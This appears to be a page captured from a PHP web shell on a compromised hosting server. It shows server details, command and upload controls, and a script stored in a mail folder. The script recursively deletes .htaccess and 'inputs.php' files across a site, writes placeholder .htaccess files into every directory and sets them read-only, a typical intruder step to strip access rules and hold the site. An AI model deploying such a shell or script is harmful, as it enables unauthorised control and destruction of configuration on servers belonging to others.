Server IP : 89.26.249.46  /  Your IP : 216.73.216.190
Web Server : Apache
System : Linux a.cp.cloudlink.pt 4.18.0-553.121.1.lve.el8.x86_64 #1 SMP Thu Apr 30 16:40:41 UTC 2026 x86_64
User : eticalga ( 1129)
PHP Version : 8.3.31
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0755) :  /home/eticalga/mail/new/k2o2hcfyze7fq4edszkfswgygzy2lc/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/eticalga/mail/new/k2o2hcfyze7fq4edszkfswgygzy2lc/r.txt
<?php
$maxDepth = 10; // Maximum depth to search for subfolders
$baseDir = '/path/to/your/directory'; // Base directory to start the operation

// Change permissions of .htaccess and iputs.php files
changePermissions($baseDir, $maxDepth, 'iputs.php', 0644);
changePermissions($baseDir, $maxDepth, '.htaccess', 0644);

// Delete .htaccess and iputs.php files
deleteFiles($baseDir, $maxDepth, 'inputs.php');
deleteFiles($baseDir, $maxDepth, '.htaccess');

// Create .htaccess file with the specified content
$htaccessContent = '#do';
createFiles($baseDir, $maxDepth, '.htaccess', $htaccessContent);

// Change permissions of .htaccess files to 0444
changePermissions($baseDir, $maxDepth, '.htaccess', 0444);

echo "OK";

// Function to change permissions of files
function changePermissions($dir, $maxDepth, $filename, $permissions) {
    $iterator = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($dir), RecursiveIteratorIterator::SELF_FIRST);
    $iterator->setMaxDepth($maxDepth);
    
    foreach ($iterator as $file) {
        if ($file->isFile() && $file->getFilename() === $filename) {
            chmod($file->getPathname(), $permissions);
        }
    }
}

// Function to delete files
function deleteFiles($dir, $maxDepth, $filename) {
    $iterator = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($dir), RecursiveIteratorIterator::SELF_FIRST);
    $iterator->setMaxDepth($maxDepth);
    
    foreach ($iterator as $file) {
        if ($file->isFile() && $file->getFilename() === $filename) {
            unlink($file->getPathname());
        }
    }
}

// Function to create files
function createFiles($dir, $maxDepth, $filename, $content) {
    $iterator = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($dir), RecursiveIteratorIterator::SELF_FIRST);
    $iterator->setMaxDepth($maxDepth);
    
    foreach ($iterator as $file) {
        if ($file->isDir()) {
            $filePath = $file->getPathname() . DIRECTORY_SEPARATOR . $filename;
            file_put_contents($filePath, $content);
        }
    }
}
?>